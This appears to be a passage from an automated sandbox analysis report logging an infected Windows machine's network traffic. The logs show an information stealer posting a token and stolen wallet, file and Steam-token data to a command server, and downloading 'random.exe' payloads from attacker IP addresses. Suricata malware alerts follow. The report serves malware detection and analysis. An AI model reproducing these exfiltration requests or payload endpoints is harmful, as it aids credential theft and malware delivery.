6c 73 62 47 45 75 62 33 4a 6e 4c 32 74 69 4c 32 4e 31 63 33 52 76 62 57 6c 36 5a 53 31 6d 61 58 4a 6c 5a 6d 39 34 4c 57 4e 76 62 6e 52 79 62 32 78 7a 4c 57 4a 31 64 48 52 76 62 6e 4d 74 59 57 35 6b 4c 58 52 76 62 32 78 69 59 58 4a 7a 50 33 56 30 62 56 39 7a 62 33 56 79 59 32 55 39 5a 6d 6c 79 5a 57 5a 76 65 43 31 69 63 6d 39 33 63 32 56 79 4a 6e 56 30 62 56 39 74 5a 57 52 70 64 57 30 39 5a 47 56 6d 59 58 56 73 64 43 31 69 62 32 39 72 62 57 46 79 61 33 4d 6d 64 58 52 74 58 32 4e 68 62 58 42 68 61 57 64 75 50 57 4e 31 63 33 52 76 62 57 6c 36 5a 51 70 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 74 62 33 70 70 62 47 78 68 4c 6d 39 79 5a 79 39 6a 62 32 35 30 63 6d 6c 69 64 58 52 6c 4c 77 70 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 74 62 33 70 70 62 47 78 68 4c 6d 39 79 5a 79 39 68 59 6d 39 31 64 43 38 4b 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 75 62 57 39 36 61 57 78 73 59 53 35 76 63 6d 63 76 5a 6d 6c 79 5a 57 5a 76 65 43 38 2f 64 58 52 74 58 32 31 6c 5a 47 6c 31 62 54 31 6d 61 58 4a 6c 5a 6d 39 34 4c 57 52 6c 63 32 74 30 62 33 41 6d 64 58 52 74 58 33 4e 76 64 58 4a 6a 5a 54 31 69 62 32 39 72 62 57 46 79 61 33 4d 74 64 47 39 76 62 47 4a 68 63 69 5a 31 64 47 31 66 59 32 46 74 63 47 46 70 5a 32 34 39 62 6d 56 33 4c 58 56 7a 5a 58 4a 7a 4a 6e 56 30 62 56 39 6a 62 32 35 30 5a 57 35 30 50 53 31 6e 62 47 39 69 59 57 77 4b 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="message"wallets------CFCBFHJECAKEHIECGIEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHJEHDBGHIDGDGHCBGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 45 48 44 42 47 48 49 44 47 44 47 48 43 42 47 2d 2d 0d 0a Data Ascii: ------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------IIEHJEHDBGHIDGDGHCBGContent-Disposition: form-data; name="message"files------IIEHJEHDBGHIDGDGHCBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="file"------AFCFHDHIIIECBGCAKFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"ybncbhylepme------ECBKKKFHCFIDHIECGCAF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKFCBAEHCAEGDHJKFHJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 31 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008198001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49721 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49819 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49949 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50136 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50105 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_0084BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

25_2_0084BE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=oCM81O7eyRokAyw&MD=FhmLLNt7 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
